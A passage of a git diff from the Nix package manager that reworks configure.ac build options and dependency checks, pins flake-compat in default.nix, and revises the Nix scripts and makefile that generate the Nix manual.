https://www.gnu.org/software/autoconf/manual/html_node/Canonicalizing.html#index-AC_005fCANONICAL_005fHOST-1 +# The inital value is produced by the `config/config.guess` script: +# upstream: https://git.savannah.gnu.org/cgit/config.git/tree/config.guess +# It has the following form, which is not documented anywhere: +# --[][-] +# If `./configure` is passed any of the `--host`, `--build`, `--target` options, the value comes from `config/config.sub` instead: +# upstream: https://git.savannah.gnu.org/cgit/config.git/tree/config.sub AC_CANONICAL_HOST AC_MSG_CHECKING([for the canonical Nix system name]) @@ -40,9 +47,11 @@ AC_DEFINE_UNQUOTED(SYSTEM, ["$system"], [platform identifier ('cpu-os')]) # State should be stored in /nix/var, unless the user overrides it explicitly. test "$localstatedir" = '${prefix}/var' && localstatedir=/nix/var +# Assign a default value to C{,XX}FLAGS as the default configure script sets them +# to -O2 otherwise, which we don't want to have hardcoded +CFLAGS=${CFLAGS-""} +CXXFLAGS=${CXXFLAGS-""} -CFLAGS= -CXXFLAGS= AC_PROG_CC AC_PROG_CXX AC_PROG_CPP @@ -54,7 +63,6 @@ AC_SYS_LARGEFILE # Solaris-specific stuff. -AC_STRUCT_DIRENT_D_TYPE case "$host_os" in solaris*) # Solaris requires -lsocket -lnsl for network functions @@ -63,6 +71,9 @@ case "$host_os" in esac +ENSURE_NO_GCC_BUG_80431 + + # Check for pubsetbuf. AC_MSG_CHECKING([for pubsetbuf]) AC_LANG_PUSH(C++) @@ -114,7 +125,6 @@ AC_PATH_PROG(flex, flex, false) AC_PATH_PROG(bison, bison, false) AC_PATH_PROG(dot, dot) AC_PATH_PROG(lsof, lsof, lsof) -NEED_PROG(jq, jq) AC_SUBST(coreutils, [$(dirname $(type -p cat))]) @@ -125,6 +135,43 @@ AC_ARG_WITH(store-dir, AS_HELP_STRING([--with-store-dir=PATH],[path of the Nix s AC_SUBST(storedir) +# Running the functional tests without building Nix is useful for testing +# different pre-built versions of Nix against each other. +AC_ARG_ENABLE(build, AS_HELP_STRING([--disable-build],[Do not build nix]), + ENABLE_BUILD=$enableval, ENABLE_BUILD=yes) +AC_SUBST(ENABLE_BUILD) + +# Building without unit tests is useful for bootstrapping with a smaller footprint +# or running the tests in a separate derivation. Otherwise, we do compile and +# run them. + +AC_ARG_ENABLE(unit-tests, AS_HELP_STRING([--disable-unit-tests],[Do not build the tests]), + ENABLE_UNIT_TESTS=$enableval, ENABLE_UNIT_TESTS=$ENABLE_BUILD) +AC_SUBST(ENABLE_UNIT_TESTS) + +AS_IF( + [test "$ENABLE_BUILD" == "no" && test "$ENABLE_UNIT_TESTS" == "yes"], + [AC_MSG_ERROR([Cannot enable unit tests when building overall is disabled. Please do not pass '--enable-unit-tests' or do not pass '--disable-build'.])]) + +AC_ARG_ENABLE(functional-tests, AS_HELP_STRING([--disable-functional-tests],[Do not build the tests]), + ENABLE_FUNCTIONAL_TESTS=$enableval, ENABLE_FUNCTIONAL_TESTS=yes) +AC_SUBST(ENABLE_FUNCTIONAL_TESTS) + +# documentation generation switch +AC_ARG_ENABLE(doc-gen, AS_HELP_STRING([--disable-doc-gen],[disable documentation generation]), + ENABLE_DOC_GEN=$enableval, ENABLE_DOC_GEN=$ENABLE_BUILD) +AC_SUBST(ENABLE_DOC_GEN) + +AS_IF( + [test "$ENABLE_BUILD" == "no" && test "$ENABLE_DOC_GEN" == "yes"], + [AC_MSG_ERROR([Cannot enable generated docs when building overall is disabled. Please do not pass '--enable-doc-gen' or do not pass '--disable-build'.])]) + +AS_IF( + [test "$ENABLE_FUNCTIONAL_TESTS" == "yes" || test "$ENABLE_DOC_GEN" == "yes"], + [NEED_PROG(jq, jq)]) + +AS_IF([test "$ENABLE_BUILD" == "yes"],[ + # Look for boost, a required dependency. # Note that AX_BOOST_BASE only exports *CPP* BOOST_CPPFLAGS, no CXX flags, # and CPPFLAGS are not passed to the C++ compiler automatically. @@ -147,6 +194,18 @@ if test "x$GCC_ATOMIC_BUILTINS_NEED_LIBATOMIC" = xyes; then LDFLAGS="-latomic $LDFLAGS" fi +AC_ARG_ENABLE(install-unit-tests, AS_HELP_STRING([--enable-install-unit-tests],[Install the unit tests for running later (default no)]), + INSTALL_UNIT_TESTS=$enableval, INSTALL_UNIT_TESTS=no) +AC_SUBST(INSTALL_UNIT_TESTS) + +AC_ARG_WITH(check-bin-dir, AS_HELP_STRING([--with-check-bin-dir=PATH],[path to install unit tests for running later (defaults to $libexecdir/nix)]), + checkbindir=$withval, checkbindir=$libexecdir/nix) +AC_SUBST(checkbindir) + +AC_ARG_WITH(check-lib-dir, AS_HELP_STRING([--with-check-lib-dir=PATH],[path to install unit tests for running later (defaults to $libdir)]), + checklibdir=$withval, checklibdir=$libdir) +AC_SUBST(checklibdir) + # LTO is currently broken with clang for unknown reasons; ld segfaults in the llvm plugin AC_ARG_ENABLE(lto, AS_HELP_STRING([--enable-lto],[Enable LTO (only supported with GCC) [default=no]]), lto=$enableval, lto=no) @@ -174,7 +233,7 @@ fi # Look for OpenSSL, a required dependency. FIXME: this is only (maybe) # used by S3BinaryCacheStore. -PKG_CHECK_MODULES([OPENSSL], [libcrypto], [CXXFLAGS="$OPENSSL_CFLAGS $CXXFLAGS"]) +PKG_CHECK_MODULES([OPENSSL], [libcrypto >= 1.1.1], [CXXFLAGS="$OPENSSL_CFLAGS $CXXFLAGS"]) # Look for libarchive. @@ -190,17 +249,25 @@ PKG_CHECK_MODULES([SQLITE3], [sqlite3 >= 3.6.19], [CXXFLAGS="$SQLITE3_CFLAGS $CX # Look for libcurl, a required dependency. PKG_CHECK_MODULES([LIBCURL], [libcurl], [CXXFLAGS="$LIBCURL_CFLAGS $CXXFLAGS"]) -# Look for editline, a required dependency. +# Look for editline or readline, a required dependency. # The the libeditline.pc file was added only in libeditline >= 1.15.2, # see https://github.com/troglobit/editline/commit/0a8f2ef4203c3a4a4726b9dd1336869cd0da8607, -# but e.g. Ubuntu 16.04 has an older version, so we fall back to searching for -# editline.h when the pkg-config approach fails. -PKG_CHECK_MODULES([EDITLINE], [libeditline], [CXXFLAGS="$EDITLINE_CFLAGS $CXXFLAGS"], [ - AC_CHECK_HEADERS([editline.h], [true], - [AC_MSG_ERROR([Nix requires libeditline; it was found neither via pkg-config nor its normal header.])]) - AC_SEARCH_LIBS([readline read_history], [editline], [], - [AC_MSG_ERROR([Nix requires libeditline; it was not found via pkg-config, but via its header, but required functions do not work. Maybe it is too old? >= 1.14 is required.])]) -]) +# Older versions are no longer supported. +AC_ARG_WITH( + [readline-flavor], + AS_HELP_STRING([--with-readline-flavor],[Which library to use for nice line editting with the Nix language REPL" [default=editline]]), + [readline_flavor=$withval], + [readline_flavor=editline]) +AS_CASE(["$readline_flavor"], + [editline], [ + readline_flavor_pc=libeditline + ], + [readline], [ + readline_flavor_pc=readline + AC_DEFINE([USE_READLINE], [1], [Use readline instead of editline]) + ], + [AC_MSG_ERROR([bad value "$readline_flavor" for --with-readline-flavor, must be one of: editline, readline])]) +PKG_CHECK_MODULES([EDITLINE], [$readline_flavor_pc], [CXXFLAGS="$EDITLINE_CFLAGS $CXXFLAGS"]) # Look for libsodium. PKG_CHECK_MODULES([SODIUM], [libsodium], [CXXFLAGS="$SODIUM_CFLAGS $CXXFLAGS"]) @@ -232,9 +299,20 @@ case "$host_os" in ])) if test "x$enable_seccomp_sandboxing" != "xno"; then PKG_CHECK_MODULES([LIBSECCOMP], [libseccomp], - [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS"]) + [CXXFLAGS="$LIBSECCOMP_CFLAGS $CXXFLAGS" CFLAGS="$LIBSECCOMP_CFLAGS $CFLAGS"]) have_seccomp=1 AC_DEFINE([HAVE_SECCOMP], [1], [Whether seccomp is available and should be used for sandboxing.]) + AC_COMPILE_IFELSE([ + AC_LANG_SOURCE([[ + #include + #ifndef __SNR_fchmodat2 + # error "Missing support for fchmodat2" + #endif + ]]) + ], [], [ + echo "libseccomp is missing __SNR_fchmodat2. Please provide libseccomp 2.5.5 or later" + exit 1 + ]) else have_seccomp= fi @@ -245,6 +323,14 @@ case "$host_os" in esac AC_SUBST(HAVE_SECCOMP, [$have_seccomp]) +# Optional dependencies for better normalizing file system data +AC_CHECK_HEADERS([sys/xattr.h]) +AS_IF([test "$ac_cv_header_sys_xattr_h" = "yes"],[ + AC_CHECK_FUNCS([llistxattr lremovexattr]) + AS_IF([test "$ac_cv_func_llistxattr" = "yes" && test "$ac_cv_func_lremovexattr" = "yes"],[ + AC_DEFINE([HAVE_ACL_SUPPORT], [1], [Define if we can manipulate file system Access Control Lists]) + ]) +]) # Look for aws-cpp-sdk-s3. AC_LANG_PUSH(C++) @@ -254,13 +340,6 @@ AC_CHECK_HEADERS([aws/s3/S3Client.h], AC_SUBST(ENABLE_S3, [$enable_s3]) AC_LANG_POP(C++) -if test -n "$enable_s3"; then - declare -a aws_version_tokens=($(printf '#include \nAWS_SDK_VERSION_STRING' | $CPP $CPPFLAGS - | grep -v '^#.*' | sed 's/"//g' | tr '.' ' ')) - AC_DEFINE_UNQUOTED([AWS_VERSION_MAJOR], ${aws_version_tokens@<:@0@:>@}, [Major version of aws-sdk-cpp.]) - AC_DEFINE_UNQUOTED([AWS_VERSION_MINOR], ${aws_version_tokens@<:@1@:>@}, [Minor version of aws-sdk-cpp.]) - AC_DEFINE_UNQUOTED([AWS_VERSION_PATCH], ${aws_version_tokens@<:@2@:>@}, [Patch version of aws-sdk-cpp.]) -fi - # Whether to use the Boehm garbage collector. AC_ARG_ENABLE(gc, AS_HELP_STRING([--enable-gc],[enable garbage collection in the Nix expression evaluator (requires Boehm GC) [default=yes]]), @@ -269,24 +348,55 @@ if test "$gc" = yes; then PKG_CHECK_MODULES([BDW_GC], [bdw-gc]) CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS" AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.]) + + # See `fixupBoehmStackPointer`, for the integration between Boehm GC + # and Boost coroutines. + old_CFLAGS="$CFLAGS" + # Temporary set `-pthread` just for the next check + CFLAGS="$CFLAGS -pthread" + AC_CHECK_FUNCS([pthread_attr_get_np pthread_getattr_np]) + CFLAGS="$old_CFLAGS" fi +AS_IF([test "$ENABLE_UNIT_TESTS" == "yes"],[ # Look for gtest. -PKG_CHECK_MODULES([GTEST], [gtest_main]) +PKG_CHECK_MODULES([GTEST], [gtest_main gmock_main]) +# Look for rapidcheck. +PKG_CHECK_MODULES([RAPIDCHECK], [rapidcheck rapidcheck_gtest]) + +]) # Look for nlohmann/json. PKG_CHECK_MODULES([NLOHMANN_JSON], [nlohmann_json >= 3.9]) -# documentation generation switch -AC_ARG_ENABLE(doc-gen, AS_HELP_STRING([--disable-doc-gen],[disable documentation generation]), - doc_generate=$enableval, doc_generate=yes) -AC_SUBST(doc_generate) - # Look for lowdown library. -PKG_CHECK_MODULES([LOWDOWN], [lowdown >= 0.9.0], [CXXFLAGS="$LOWDOWN_CFLAGS $CXXFLAGS"]) +AC_ARG_ENABLE([markdown], AS_HELP_STRING([--enable-markdown], [Enable Markdown rendering in the Nix binary (requires lowdown) [default=auto]]), + enable_markdown=$enableval, enable_markdown=auto) +AS_CASE(["$enable_markdown"], + [yes | auto], [ + PKG_CHECK_MODULES([LOWDOWN], [lowdown >= 0.9.0], [ + CXXFLAGS="$LOWDOWN_CFLAGS $CXXFLAGS" + have_lowdown=1 + AC_DEFINE(HAVE_LOWDOWN, 1, [Whether lowdown is available and should be used for Markdown rendering.]) + ], [ + AS_IF([test "x$enable_markdown" == "xyes"], [AC_MSG_ERROR([--enable-markdown was specified, but lowdown was not found.])]) + ]) + ], + [no], [have_lowdown=], + [AC_MSG_ERROR([bad value "$enable_markdown" for --enable-markdown, must be one of: yes, no, auto])]) + + +# Look for libgit2. +PKG_CHECK_MODULES([LIBGIT2], [libgit2]) + + +# Look for toml11, a required dependency. +AC_LANG_PUSH(C++) +AC_CHECK_HEADER([toml.hpp], [], [AC_MSG_ERROR([toml11 is not found.])]) +AC_LANG_POP(C++) # Setuid installations. AC_CHECK_FUNCS([setresuid setreuid lchown]) @@ -318,6 +428,8 @@ if test "$embedded_sandbox_shell" = yes; then AC_DEFINE(HAVE_EMBEDDED_SANDBOX_SHELL, 1, [Include the sandbox shell in the Nix binary.]) fi +]) + # Expand all variables in config.status. test "$prefix" = NONE && prefix=$ac_default_prefix diff --git a/default.nix b/default.nix index 00ec5b617..2cccff28d 100644 --- a/default.nix +++ b/default.nix @@ -1,3 +1,10 @@ -(import (fetchTarball "https://github.com/edolstra/flake-compat/archive/master.tar.gz") { - src = ./.; -}).defaultNix +(import + ( + let lock = builtins.fromJSON (builtins.readFile ./flake.lock); in + fetchTarball { + url = "https://github.com/edolstra/flake-compat/archive/${lock.nodes.flake-compat.locked.rev}.tar.gz"; + sha256 = lock.nodes.flake-compat.locked.narHash; + } + ) + { src = ./.; } +).defaultNix diff --git a/doc/manual/book.toml b/doc/manual/book.toml index 46ced7ff7..73fb7e75e 100644 --- a/doc/manual/book.toml +++ b/doc/manual/book.toml @@ -10,3 +10,12 @@ git-repository-url = "https://github.com/NixOS/nix" [preprocessor.anchors] renderers = ["html"] command = "jq --from-file doc/manual/anchors.jq" + +[output.linkcheck] +# no Internet during the build (in the sandbox) +follow-web-links = false + +# mdbook-linkcheck does not understand [foo]{#bar} style links, resulting in +# excessive "Potential incomplete link" warnings. No other kind of warning was +# produced at the time of writing. +warning-policy = "ignore" diff --git a/doc/manual/custom.css b/doc/manual/custom.css index 69d48d4a7..7af150be3 100644 --- a/doc/manual/custom.css +++ b/doc/manual/custom.css @@ -1,3 +1,25 @@ +:root { + --sidebar-width: 23em; +} + +h1.menu-title::before { + content: ""; + background-image: url("./favicon.svg"); + padding: 1.25em; + background-position: center center; + background-size: 2em; + background-repeat: no-repeat; +} + + +.menu-bar { + padding: 0.5em 0em; +} + +.sidebar .sidebar-scrollbox { + padding: 1em; +} + h1:not(:first-of-type) { margin-top: 1.3em; } @@ -5,3 +27,7 @@ h1:not(:first-of-type) { h2 { margin-top: 1em; } + +.hljs-meta { + user-select: none; +} diff --git a/doc/manual/generate-builtins.nix b/doc/manual/generate-builtins.nix index 115bb3f94..37ed12a43 100644 --- a/doc/manual/generate-builtins.nix +++ b/doc/manual/generate-builtins.nix @@ -1,20 +1,45 @@ -builtinsDump: let - showBuiltin = name: + inherit (builtins) concatStringsSep attrValues mapAttrs; + inherit (import ) optionalString squash; +in + +builtinsInfo: +let + showBuiltin = name: { doc, type ? null, args ? [ ], experimental-feature ? null, impure-only ? false }: let - inherit (builtinsDump.${name}) doc args; + type' = optionalString (type != null) " (${type})"; + + experimentalNotice = optionalString (experimental-feature != null) '' + > **Note** + > + > This function is only available if the [`${experimental-feature}` experimental feature](@docroot@/development/experimental-features.md#xp-feature-${experimental-feature}) is enabled. + > + > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): + > + > ``` + > extra-experimental-features = ${experimental-feature} + > ``` + ''; + + impureNotice = optionalString impure-only '' + > **Note** + > + > Not available in [pure evaluation mode](@docroot@/command-ref/conf-file.md#conf-pure-eval). + ''; in - '' + squash ''
- ${name} ${listArgs args} + ${name}${listArgs args}${type'}
- ${doc} + ${experimentalNotice} + ${doc} + + ${impureNotice}
''; - listArgs = args: builtins.concatStringsSep " " (map (s: "${s}") args); + listArgs = args: concatStringsSep "" (map (s: " ${s}") args); in -with builtins; concatStringsSep "\n" (map showBuiltin (attrNames builtinsDump)) - +concatStringsSep "\n" (attrValues (mapAttrs showBuiltin builtinsInfo)) diff --git a/doc/manual/generate-manpage.nix b/doc/manual/generate-manpage.nix index 8c7c4d358..791bfd2c7 100644 --- a/doc/manual/generate-manpage.nix +++ b/doc/manual/generate-manpage.nix @@ -1,15 +1,45 @@ -{ toplevel }: +let + inherit (builtins) + attrNames + attrValues + concatMap + concatStringsSep + fromJSON + groupBy + length + lessThan + listToAttrs + mapAttrs + match + replaceStrings + sort + ; + inherit (import ) + attrsToList + concatStrings + filterAttrs + optionalString + squash + trim + unique + ; + showStoreDocs = import ; +in -with builtins; -with import ./utils.nix; +inlineHTML: commandDump: let + commandInfo = fromJSON commandDump; + showCommand = { command, details, filename, toplevel }: let + result = '' > **Warning** \ - > This program is **experimental** and its interface is subject to change. + > This program is + > [**experimental**](@docroot@/development/experimental-features.md#xp-feature-nix-command) + > and its interface is subject to change. # Name @@ -21,64 +51,128 @@ let ${maybeSubcommands} - ${maybeDocumentation} + ${maybeProse} ${maybeOptions} ''; + showSynopsis = command: args: let - showArgument = arg: "*${arg.label}*" + (if arg ? arity then "" else "..."); + showArgument = arg: "*${arg.label}*" + optionalString (! arg ? arity) "..."; arguments = concatStringsSep " " (map showArgument args); in '' - `${command}` [*option*...] ${arguments} + `${command}` [*option*...] ${arguments} + ''; + + maybeSubcommands = optionalString (details ? commands && details.commands != {}) + '' + where *subcommand* is one of the following: + + ${subcommands} ''; - maybeSubcommands = if details ? commands && details.commands != {} - then '' - where *subcommand* is one of the following: - ${subcommands} - '' - else ""; subcommands = if length categories > 1 then listCategories else listSubcommands details.commands; + categories = sort (x: y: x.id < y.id) (unique (map (cmd: cmd.category) (attrValues details.commands))); + listCategories = concatStrings (map showCategory categories); + showCategory = cat: '' **${toString cat.description}:** ${listSubcommands (filterAttrs (n: v: v.category == cat) details.commands)} ''; + listSubcommands = cmds: concatStrings (attrValues (mapAttrs showSubcommand cmds)); + showSubcommand = name: subcmd: '' * [`${command} ${name}`](./${appendName filename name}.md) - ${subcmd.description} ''; - maybeDocumentation = if details ? doc then details.doc else ""; - maybeOptions = if details.flags == {} then "" else '' - # Options - ${showOptions details.flags toplevel.flags} - ''; - showOptions = options: commonOptions: + maybeProse = + # FIXME: this is a horrible hack to keep `nix help-stores` working. let - allOptions = options // commonOptions; - showCategory = cat: '' - ${if cat != "" then "**${cat}:**" else ""} + help-stores = '' + ${index} - ${listOptions (filterAttrs (n: v: v.category == cat) allOptions)} - ''; - listOptions = opts: concatStringsSep "\n" (attrValues (mapAttrs showOption opts)); + ${allStores} + ''; + index = replaceStrings + [ "@store-types@" "./local-store.md" "./local-daemon-store.md" ] + [ storesOverview "#local-store" "#local-daemon-store" ] + details.doc; + storesOverview = + let + showEntry = store: + "- [${store.name}](#${store.slug})"; + in + concatStringsSep "\n" (map showEntry storesList) + "\n"; + allStores = concatStringsSep "\n" (attrValues storePages); + storePages = listToAttrs + (map (s: { name = s.filename; value = s.page; }) storesList); + storesList = showStoreDocs { + storeInfo = commandInfo.stores; + inherit inlineHTML; + }; + hasInfix = infix: content: + builtins.stringLength content != builtins.stringLength (replaceStrings [ infix ] [ "" ] content); + in + optionalString (details ? doc) ( + # An alternate implementation with builtins.match stack overflowed on some systems. + if hasInfix "@store-types@" details.doc + then help-stores + else details.doc + ); + + maybeOptions = + let + allVisibleOptions = filterAttrs + (_: o: ! o.hiddenCategory) + (details.flags // toplevel.flags); + in + optionalString (allVisibleOptions != { }) '' + # Options + + ${showOptions inlineHTML allVisibleOptions} + + > **Note** + > + > See [`man nix.conf`](@docroot@/command-ref/conf-file.md#command-line-flags) for overriding configuration settings with command line flags. + ''; + + showOptions = inlineHTML: allOptions: + let + showCategory = cat: opts: '' + ${optionalString (cat != "") "## ${cat}"} + + ${concatStringsSep "\n" (attrValues (mapAttrs showOption opts))} + ''; showOption = name: option: let - shortName = if option ? shortName then "/ `-${option.shortName}`" else ""; - labels = if option ? labels then (concatStringsSep " " (map (s: "*${s}*") option.labels)) else ""; - in trim '' - - `--${name}` ${shortName} ${labels} + result = trim '' + - ${item} - ${option.description} - ''; - categories = sort builtins.lessThan (unique (map (cmd: cmd.category) (attrValues allOptions))); - in concatStrings (map showCategory categories); + ${option.description} + ''; + item = if inlineHTML + then ''[`--${name}`](#opt-${name}) ${shortName} ${labels}'' + else "`--${name}` ${shortName} ${labels}"; + shortName = optionalString + (option ? shortName) + ("/ `-${option.shortName}`"); + labels = optionalString + (option ? labels) + (concatStringsSep " " (map (s: "*${s}*") option.labels)); + in result; + categories = mapAttrs + # Convert each group from a list of key-value pairs back to an attrset + (_: listToAttrs) + (groupBy + (cmd: cmd.value.category) + (attrsToList allOptions)); + in concatStrings (attrValues (mapAttrs showCategory categories)); in squash result; appendName = filename: name: (if filename == "nix" then "nix3" else filename) + "-" + name; @@ -98,13 +192,11 @@ let }; in [ cmd ] ++ concatMap subcommand (attrNames details.commands or {}); - parsedToplevel = builtins.fromJSON toplevel; - manpages = processCommand { command = "nix"; - details = parsedToplevel; + details = commandInfo.args; filename = "nix"; - toplevel = parsedToplevel; + toplevel = commandInfo.args; }; tableOfContents = let diff --git a/doc/manual/generate-options.nix b/doc/manual/generate-options.nix deleted file mode 100644 index a4ec36477..000000000 --- a/doc/manual/generate-options.nix +++ /dev/null @@ -1,41 +0,0 @@ -let - inherit (builtins) attrNames concatStringsSep isAttrs isBool; - inherit (import ./utils.nix) concatStrings squash splitLines; -in - -optionsInfo: -let - showOption = name: - let - inherit (optionsInfo.${name}) description documentDefault defaultValue aliases; - result = squash '' - - [`${name}`](#conf-${name}) - - ${indent " " body} - ''; - # separate body to cleanly handle indentation - body = '' - ${description} - - **Default:** ${showDefault documentDefault defaultValue} - - ${showAliases aliases} - ''; - showDefault = documentDefault: defaultValue: - if documentDefault then - # a StringMap value type is specified as a string, but - # this shows the value type. The empty stringmap is `null` in - # JSON, but that converts to `{ }` here. - if defaultValue == "" || defaultValue == [] || isAttrs defaultValue - then "*empty*" - else if isBool defaultValue then - if defaultValue then "`true`" else "`false`" - else "`${toString defaultValue}`" - else "*machine-specific*"; - showAliases = aliases: - if aliases == [] then "" else - "**Deprecated alias:** ${(concatStringsSep ", " (map (s: "`${s}`") aliases))}"; - indent = prefix: s: - concatStringsSep "\n" (map (x: if x == "" then x else "${prefix}${x}") (splitLines s)); - in result; -in concatStrings (map showOption (attrNames optionsInfo)) diff --git a/doc/manual/generate-settings.nix b/doc/manual/generate-settings.nix new file mode 100644 index 000000000..93a8e093e --- /dev/null +++ b/doc/manual/generate-settings.nix @@ -0,0 +1,67 @@ +let + inherit (builtins) attrValues concatStringsSep isAttrs isBool mapAttrs; + inherit (import ) concatStrings indent optionalString squash; +in + +# `inlineHTML` is a hack to accommodate inconsistent output from `lowdown` +{ prefix, inlineHTML ? true }: settingsInfo: + +let + + showSetting = prefix: setting: { description, documentDefault, defaultValue, aliases, value, experimentalFeature }: + let + result = squash '' + - ${item} + + ${indent " " body} + ''; + item = if inlineHTML + then ''[`${setting}`](#${prefix}-${setting})'' + else "`${setting}`"; + # separate body to cleanly handle indentation + body = '' + ${experimentalFeatureNote} + + ${description} + + **Default:** ${showDefault documentDefault defaultValue} + + ${showAliases aliases} + ''; + + experimentalFeatureNote = optionalString (experimentalFeature != null) '' + > **Warning** + > + > This setting is part of an + > [experimental feature](@docroot@/development/experimental-features.md). + > + > To change this setting, make sure the + > [`${experimentalFeature}` experimental feature](@docroot@/development/experimental-features.md#xp-feature-${experimentalFeature}) + > is enabled. + > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): + > + > ``` + > extra-experimental-features = ${experimentalFeature} + > ${setting} = ... + > ``` + ''; + + showDefault = documentDefault: defaultValue: + if documentDefault then + # a StringMap value type is specified as a string, but + # this shows the value type. The empty stringmap is `null` in + # JSON, but that converts to `{ }` here. + if defaultValue == "" || defaultValue == [] || isAttrs defaultValue + then "*empty*" + else if isBool defaultValue then + if defaultValue then "`true`" else "`false`" + else "`${toString defaultValue}`" + else "*machine-specific*"; + + showAliases = aliases: + optionalString (aliases != []) + "**Deprecated alias:** ${(concatStringsSep ", " (map (s: "`${s}`") aliases))}"; + + in result; + +in concatStrings (attrValues (mapAttrs (showSetting prefix) settingsInfo)) diff --git a/doc/manual/generate-store-info.nix b/doc/manual/generate-store-info.nix new file mode 100644 index 000000000..cc3704124 --- /dev/null +++ b/doc/manual/generate-store-info.nix @@ -0,0 +1,57 @@ +let + inherit (builtins) attrNames listToAttrs concatStringsSep readFile replaceStrings; + inherit (import ) optionalString filterAttrs trim squash toLower unique indent; + showSettings = import ; +in + +{ + # data structure describing all stores and their parameters + storeInfo, + # whether to add inline HTML tags + # `lowdown` does not eat those for one of the output modes + inlineHTML, +}: + +let + + showStore = { name, slug }: { settings, doc, experimentalFeature }: + let + result = squash '' + # ${name} + + ${experimentalFeatureNote} + + ${doc} + + ## Settings + + ${showSettings { prefix = "store-${slug}"; inherit inlineHTML; } settings} + ''; + + experimentalFeatureNote = optionalString (experimentalFeature != null) '' + > **Warning** + > + > This store is part of an + > [experimental feature](@docroot@/development/experimental-features.md). + > + > To use this store, make sure the + > [`${experimentalFeature}` experimental feature](@docroot@/development/experimental-features.md#xp-feature-${experimentalFeature}) + > is enabled. + > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): + > + > ``` + > extra-experimental-features = ${experimentalFeature} + > ``` + ''; + in result; + + storesList = map + (name: rec { + inherit name; + slug = replaceStrings [ " " ] [ "-" ] (toLower name); + filename = "${slug}.md"; + page = showStore { inherit name slug; } storeInfo.${name}; + }) + (attrNames storeInfo); + +in storesList diff --git a/doc/manual/generate-store-types.nix b/doc/manual/generate-store-types.nix new file mode 100644 index 000000000..3b78a0e1b --- /dev/null +++ b/doc/manual/generate-store-types.nix @@ -0,0 +1,39 @@ +let + inherit (builtins) attrNames listToAttrs concatStringsSep readFile replaceStrings; + showSettings = import ; + showStoreDocs = import ; +in + +storeInfo: + +let + storesList = showStoreDocs { + inherit storeInfo; + inlineHTML = true; + }; + + index = + let + showEntry = store: + "- [${store.name}](./${store.filename})"; + in + concatStringsSep "\n" (map showEntry storesList); + + "index.md" = replaceStrings + [ "@store-types@" ] [ index ] + (readFile ./src/store/types/index.md.in); + + tableOfContents = + let + showEntry = store: + " - [${store.name}](store/types/${store.filename})"; + in + concatStringsSep "\n" (map showEntry storesList) + "\n"; + + "SUMMARY.md" = tableOfContents; + + storePages = listToAttrs + (map (s: { name = s.filename; value = s.page; }) storesList); + +in +storePages // { inherit "index.md" "SUMMARY.md"; } diff --git a/doc/manual/generate-xp-features-shortlist.nix b/doc/manual/generate-xp-features-shortlist.nix new file mode 100644 index 000000000..eb735ba5f --- /dev/null +++ b/doc/manual/generate-xp-features-shortlist.nix @@ -0,0 +1,9 @@ +with builtins; +with import ; + +let + showExperimentalFeature = name: doc: + '' + - [`${name}`](@docroot@/development/experimental-features.md#xp-feature-${name}) + ''; +in xps: indent " " (concatStrings (attrValues (mapAttrs showExperimentalFeature xps))) diff --git a/doc/manual/generate-xp-features.nix b/doc/manual/generate-xp-features.nix new file mode 100644 index 000000000..0eec0e1da --- /dev/null +++ b/doc/manual/generate-xp-features.nix @@ -0,0 +1,13 @@ +with builtins; +with import ; + +let + showExperimentalFeature = name: doc: + squash '' + ## [`${name}`]{#xp-feature-${name}} + + ${doc} + ''; +in + +xps: (concatStringsSep "\n" (attrValues (mapAttrs showExperimentalFeature xps))) diff --git a/doc/manual/local.mk b/doc/manual/local.mk index c0f69e00f..fcc50f460 100644 --- a/doc/manual/local.mk +++ b/doc/manual/local.mk @@ -1,22 +1,33 @@ -ifeq ($(doc_generate),yes) +# The version of Nix used to generate the doc. Can also be +# `$(nix_INSTALL_PATH)` or just `nix` (to grap ambient from the `PATH`), +# if one prefers. +doc_nix = $(nix_PATH) MANUAL_SRCS := \ - $(call rwildcard, $(d)/src, *.md) \ - $(call rwildcard, $(d)/src, */*.md) + $(call rwildcard, $(d)/src, *.md) \ + $(call rwildcard, $(d)/src, */*.md) -# Generate man pages. man-pages := $(foreach n, \ - nix-env.1 nix-build.1 nix-shell.1 nix-store.1 nix-instantiate.1 \ - nix-collect-garbage.1 \ - nix-prefetch-url.1 nix-channel.1 \ - nix-hash.1 nix-copy-closure.1 \ - nix.conf.5 nix-daemon.8, \ - $(d)/$(n)) + nix-env.1 nix-store.1 \ + nix-build.1 nix-shell.1 nix-instantiate.1 \ + nix-collect-garbage.1 \ + nix-prefetch-url.1 nix-channel.1 \ + nix-hash.1 nix-copy-closure.1 \ + nix.conf.5 nix-daemon.8 \ + nix-profiles.5 \ +, $(d)/$(n)) + +# man pages for subcommands +# convert from `$(d)/src/command-ref/nix-{1}/{2}.md` to `$(d)/nix-{1}-{2}.1` +# FIXME: unify with how nix3-cli man pages are generated +man-pages += $(foreach subcommand, \ + $(filter-out %opt-common.md %env-common.md, $(wildcard $(d)/src/command-ref/nix-*/*.md)), \ + $(d)/$(subst /,-,$(subst $(d)/src/command-ref/,,$(subst .md,.1,$(subcommand))))) clean-files += $(d)/*.1 $(d)/*.5 $(d)/*.8 # Provide a dummy environment for nix, so that it will not access files outside the macOS sandbox. -# Set cores to 0 because otherwise nix show-config resolves the cores based on the current machine +# Set cores to 0 because otherwise `nix config show` resolves the cores based on the current machine dummy-env = env -i \ HOME=/dummy \ NIX_CONF_DIR=/dummy \ @@ -24,11 +35,44 @@ dummy-env = env -i \ NIX_STATE_DIR=/dummy \ NIX_CONFIG='cores = 0' -nix-eval = $(dummy-env) $(bindir)/nix eval --experimental-features nix-command -I nix/corepkgs=corepkgs --store dummy:// --impure --raw +nix-eval = $(dummy-env) $(doc_nix) eval --experimental-features nix-command -I nix=doc/manual --store dummy:// --impure --raw + +# re-implement mdBook's include directive to make it usable for terminal output and for proper @docroot@ substitution +define process-includes + while read -r line; do \ + set -euo pipefail; \ + filename="$$(dirname $(1))/$$(sed 's/{{#include \(.*\)}}/\1/'<<< $$line)"; \ + test -f "$$filename" || ( echo "#include-d file '$$filename' does not exist." >&2; exit 1; ); \ + matchline="$$(sed 's|/|\\/|g' <<< $$line)"; \ + sed -i "/$$matchline/r $$filename" $(2); \ + sed -i "s/$$matchline//" $(2); \ + done < <(grep '{{#include' $(1)) 